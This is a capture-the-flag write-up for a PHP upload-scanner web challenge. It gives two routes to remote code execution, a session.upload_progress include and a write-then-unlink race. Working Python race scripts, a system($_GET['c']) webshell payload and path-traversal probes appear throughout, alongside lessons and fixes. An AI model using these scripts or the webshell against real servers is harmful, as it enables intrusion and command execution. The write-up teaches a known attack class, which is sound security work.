<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #036 ]

RC(E)

An upload + render.php viewer include()s any path under /tmp. You can't get PHP tags past the scanner, so there are two paths to RCE: the unintended session.upload_progress trick, and the intended TOCTOU race between write and unlink.

date
2026-10-11
read
7 min
tags
#ctf #web #race-condition #toctou #lfi
event
Securinets ENIT — Cat the Flag v3
category
web
points
600
placement
1st place

Unintended solution — session.upload_progress

Category: Web Author: m0rgxn Target: http://web.securinets-enit.club:8033 Flag: SecurinetsENIT{t0ct0u_w1nd0w_b3tw33n_wr1t3_4nd_unl1nk_1s_all_y0u_n33d}


TL;DR

The app lets you upload files, greps their contents for PHP tags and unlink()s anything "infected", then exposes a render.php viewer that include()s any path under /tmp/. You can't get <? past the scanner in an uploaded file — but the scanner only guards your uploads. PHP's own session.upload_progress mechanism writes attacker-controlled bytes into /tmp/sess_<PHPSESSID>, which the scanner never touches. Race the session-file write against PHP's cleanup, point render.php at it, and include() executes your payload → RCE as www-data.


Recon

Homepage (Server: Apache/2.4.68, X-Powered-By: PHP/8.2.34) is an "upload scanner":

  • Files are staged under /tmp/<id>/<name> while a scanner runs.
  • "Anything that looks like PHP is destroyed on the spot."
  • A viewer previews retained files at /render.php?file=/tmp/<id>/<name>.

Two endpoints: upload.php and render.php.

upload.php

bash
echo "hello" > test.txt
curl -s -F "file=@test.txt" http://web.securinets-enit.club:8033/upload.php
# {"ok":true,...,"path":"\/tmp\/2e49........\/test.txt","verdict":"clean","message":"file retained"}

The staging id in the response is masked (2e49........), and it is stable per session — same PHPSESSID → same id. That's a dead giveaway the id is derived from the session. Testing confirms:

text
id = md5(PHPSESSID)          # full 32 hex chars
bash
# PHPSESSID 86bd5d01811d0a12042159550d7f6ed6  ->  dir prefix cd99...
printf '%s' 86bd5d01811d0a12042159550d7f6ed6 | md5sum
# cd99098ad457bd26dbbbfe1202036db6   <-- starts with cd99

render.php

bash
curl "http://web.securinets-enit.club:8033/render.php?file=/etc/passwd"
# viewer only serves staged files under /tmp/
curl "http://web.securinets-enit.club:8033/render.php?file=/tmp/../etc/passwd"
# viewer only serves staged files under /tmp/   (realpath-checked, no traversal)

So render.php only serves paths whose realpath is under /tmp/. Rendering a retained upload with the real (unmasked) id returns its content — and because the challenge is "RCE", render.php include()s the file rather than just reading it. Any PHP in an included /tmp/ file executes.


The scanner

Every <?-flavoured payload is caught, anywhere in the file, regardless of magic bytes:

text
<?php echo 1;?>     -> infected
<?=1?>              -> infected
<? echo 1;?>        -> infected
<?xml ...?>         -> infected
<?php  (alone)      -> infected
GIF89a;<?php...     -> infected   (image polyglot: no help)
AAAA...x5000 <?php  -> infected   (whole file scanned, not just a prefix)

The signature is essentially <?. Since valid PHP must contain <?php/<?=, you cannot smuggle executable code through the upload path. The scanner reads the same bytes PHP would — no encoding/offset/mime differential exists.

Conclusion: don't fight the scanner. Get PHP into /tmp/ by a path the scanner never inspects.


The bypass — session.upload_progress

PHP ships session.upload_progress enabled by default. During any multipart POST that:

  1. carries a PHPSESSID cookie, and
  2. includes a form field named PHP_SESSION_UPLOAD_PROGRESS,

PHP serializes the upload progress — including our controlled field value — into the session file at /tmp/sess_<PHPSESSID>. This write happens at the SAPI layer while the request body is being parsed, completely independent of upload.php's scanner. /tmp/sess_<id> satisfies render.php's /tmp/ check.

So the payload goes in via the progress field:

text
PHP_SESSION_UPLOAD_PROGRESS = <?php echo 'PWN_START'; system($_GET['c']); echo 'PWN_END'; ?>

...and ends up inside /tmp/sess_<id> as:

text
upload_progress_<?php ... ?>|a:5:{...}

The race (why the flag is about TOCTOU)

session.upload_progress.cleanup is On by default: PHP wipes the progress data from the session the instant the POST body is fully read. So the malicious bytes only exist in /tmp/sess_<id> while an upload is still in flight.

The exploit is a classic TOCTOU window:

  • Writer threads: keep several large (1 MB+) multipart uploads in flight so the session file holds the payload.
  • Reader thread: hammer render.php?file=/tmp/sess_<id>&c=<cmd>; whichever read lands between PHP's write of the progress record and its unlink/cleanup gets the include() to execute our code.

This is exactly what the flag describes: t0ct0u_w1nd0w_b3tw33n_wr1t3_4nd_unl1nk_1s_all_y0u_n33d.


Exploit

python
import requests, threading

BASE="http://web.securinets-enit.club:8033"
SID="aabbccddeeff00112233445566778899"          # we pin our own session id
cookies={"PHPSESSID":SID}
PAYLOAD="<?php echo 'PWN_START'; system($_GET['c'] ?? 'id'); echo 'PWN_END'; ?>"
stop=False

def uploader():
    filler=b"A"*(1024*1024)                       # keep the POST in flight
    while not stop:
        try:
            requests.post(BASE+"/upload.php", cookies=cookies, timeout=30, files={
                "PHP_SESSION_UPLOAD_PROGRESS": (None, PAYLOAD),
                "file": ("x.txt", filler),
            })
        except Exception: pass

def reader():
    global stop
    sess="/tmp/sess_"+SID
    for i in range(4000):
        try:
            r=requests.get(BASE+"/render.php", cookies=cookies, timeout=10, params={
                "file":sess,
                "c":"cat /flag* 2>/dev/null; id",
            })
            if "PWN_START" in r.text:
                print("HIT", i); print(r.text[:2000]); stop=True; return
        except Exception: pass

for _ in range(4): threading.Thread(target=uploader).start()
reader(); stop=True

Run:

text
HIT 0
upload_progress_PWN_STARTuid=33(www-data) gid=33(www-data) groups=33(www-data)
SecurinetsENIT{t0ct0u_w1nd0w_b3tw33n_wr1t3_4nd_unl1nk_1s_all_y0u_n33d}
...
PWN_END|a:5:{s:10:"start_time";...}

Won the race on the first iteration. The flag lives at /flag_94e73d57.txt in the container; cat /flag* grabbed it.


Flag

text
SecurinetsENIT{t0ct0u_w1nd0w_b3tw33n_wr1t3_4nd_unl1nk_1s_all_y0u_n33d}

Lessons

  • A content scanner that unlink()s "bad" uploads is useless if another code path can write to the same directory — here, PHP's session.upload_progress writes into /tmp/ with zero scanning.
  • include() on any attacker-reachable /tmp/ path is RCE; realpath-restricting to /tmp/ isn't a restriction when /tmp/sess_* is attacker-controlled.
  • session.upload_progress + an LFI/include sink is a go-to PHP RCE primitive; the only hurdle is the cleanup race, which large/slow uploads trivially win.

Fixes

  • Store sessions outside any includable/served directory (session.save_path).
  • Disable session.upload_progress.enabled when not needed.
  • Never include() a user-influenced path; use readfile()/finfo for a viewer, and serve staged files by an opaque id, not by absolute path.

Intended solution — TOCTOU race

Category: Web Author: m0rgxn Target: http://web.securinets-enit.club:8033 Flag: SecurinetsENIT{T0ct0u_R4c3333333333_1ntend3d}


TL;DR

upload.php writes your file to /sandbox/<md5(PHPSESSID)>/<name> first, then scans the saved file for <?, then unlink()s it if "infected". render.php include()s any /sandbox/<32-hex>/<file> path. The scanner is airtight on content — but the file physically exists on disk in the gap between the write and the unlink. Flood uploads of a PHP webshell while hammering render.php at the known staged path; whichever read lands inside that window gets include()d → RCE as www-data.


Recon

Homepage (Apache/2.4.68, PHP/8.2.34) is an "upload scanner":

  • Files staged under /sandbox/<id>/<name> while a scanner runs.
  • "Anything that looks like PHP is destroyed on the spot."
  • Viewer previews retained files at /render.php?file=/sandbox/<id>/<name>.

Only three endpoints exist: index.php, upload.php, render.php.

Staging id

The staging id in the upload response is masked (6db8....) but stable per session → it is derived from the session:

text
id = md5(PHPSESSID)          # full 32 hex chars

Because we can pin our own PHPSESSID cookie, we know the exact staging directory before we ever upload — essential for the race.

render.php

bash
curl "$H/render.php?file=/etc/passwd"                 # viewer only serves staged files
curl "$H/render.php?file=/sandbox/../etc/passwd"      # viewer only serves staged files  (realpath-checked)
curl "$H/render.php?file=php://filter/...=/sandbox/.."# viewer only serves staged files  (no wrappers)
curl "$H/render.php?file=/sandbox/sess_<sid>"         # viewer only serves staged files  (needs the <32hex>/<file> shape)
curl "$H/render.php?file=/sandbox/<md5sid>/m.txt"     # -> file contents

So render.php only accepts paths of the exact shape /sandbox/<32-hex>/<name> whose realpath stays under /sandbox — no traversal, no stream wrappers, no session files. It then include()s the file (a clean text file echoes through verbatim; a <?php file executes).


Why the obvious bypasses all fail

The scanner is a raw <? substring check over the whole stored file:

attemptresult
<?php / <?= / <? / <?PHP / <? infected
image/polyglot prefix (GIF89a…<?php)infected (content scanned regardless of magic)
<?php after 1 MB fillerinfected (whole file read; uploads capped ~1 MB anyway)
every extension (.php .phtml .pht .jpg .svg .inc .phps …)infected (extension-independent)
null byte / UTF-16 splitting the tag"clean" but not executable PHP
duplicate file parts / file[]PHP keeps the last part; scanner sees exactly what's stored
$()/backtick/`` in filename (upload or render side)

Valid PHP must contain the bytes <?php or <?=, and the scanner finds them every time. You cannot win on content. The staged path (/sandbox/<md5sid>/<name>) only ever holds your own clean uploads, so render can't be pointed at anything else either.

The only thing left is timing.


upload.php's order of operations is:

text
1. move_uploaded_file()  ->  /sandbox/<md5(PHPSESSID)>/<name>   # file is LIVE on disk
2. scan saved file for "<?"                                     # verdict
3. if infected: unlink(/sandbox/<md5(PHPSESSID)>/<name>)        # delete

Between step 1 and step 3 the malicious <?php file really exists at a path we can compute in advance. render.php will happily include() it during that window. Classic Time-Of-Check / Time-Of-Use.

Winning the race needs volume, not precision:

  • Writer threads keep re-uploading the webshell so an on-disk copy exists as often as possible.
  • Reader threads keep requesting render.php at the known staged path; one of them eventually lands between the write and the unlink and include()s the shell.

Exploit

python
import requests, threading, hashlib, time

BASE="http://web.securinets-enit.club:8033"
SID="f00dbabef00dbabef00dbabef00dbabe"          # we pin our own session id
cookies={"PHPSESSID":SID}
ID=hashlib.md5(SID.encode()).hexdigest()        # staging dir = md5(PHPSESSID)
NAME="p.php"
STAGED="/sandbox/%s/%s"%(ID,NAME)
PAYLOAD=b"<?php echo 'PWN_START'; system($_GET['c'] ?? 'id'); echo 'PWN_END'; ?>"

stop=False
def uploader():
    while not stop:
        try:
            requests.post(BASE+"/upload.php", cookies=cookies, timeout=15,
                          files={"file":(NAME, PAYLOAD, "text/plain")})
        except Exception: pass

def reader(tid):
    global stop
    params={"file":STAGED,"c":"cat /flag* /*flag* 2>/dev/null; id"}
    while not stop:
        try:
            r=requests.get(BASE+"/render.php", params=params, cookies=cookies, timeout=15)
            if "PWN_START" in r.text:
                print("EXEC HIT t%d:\n%s"%(tid, r.text[:1500])); stop=True; return
        except Exception: pass

ts =[threading.Thread(target=uploader)            for _ in range(8)]
ts+=[threading.Thread(target=reader, args=(i,))   for i in range(24)]
for t in ts: t.start()
for _ in range(900):
    if stop: break
    time.sleep(0.1)
stop=True

Run (hit on the first pass):

text
racing: /sandbox/6db8fef22c13c607ce9d6a0b11fdc267/p.php
EXEC HIT t3:
PWN_STARTSecurinetsENIT{T0ct0u_R4c3333333333_1ntend3d}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PWN_END

The &c= parameter is reused by the same request render.php receives, so the included shell runs arbitrary commands. Full RCE as www-data.


Flag

text
SecurinetsENIT{T0ct0u_R4c3333333333_1ntend3d}

Lessons

  • Scan-after-write is a race, not a gate. Validate the upload in a temp location and only move/publish it to a servable path after it passes — never write to the live path and delete on failure.
  • A predictable staging directory (md5(PHPSESSID), with an attacker-chosen session id) hands the attacker the exact path to hammer, making the window trivial to win.
  • include() on any attacker-reachable path is RCE; a "preview" feature should readfile() with a safe content type, never include().

Fixes

  • Upload → quarantine dir (non-servable) → scan → only then atomically move to the staged dir. Reject on fail with nothing ever written to a reachable path.
  • Make render.php readfile() (or highlight_file()), not include().
  • Use unpredictable, server-generated staging ids not derived from a client-set cookie.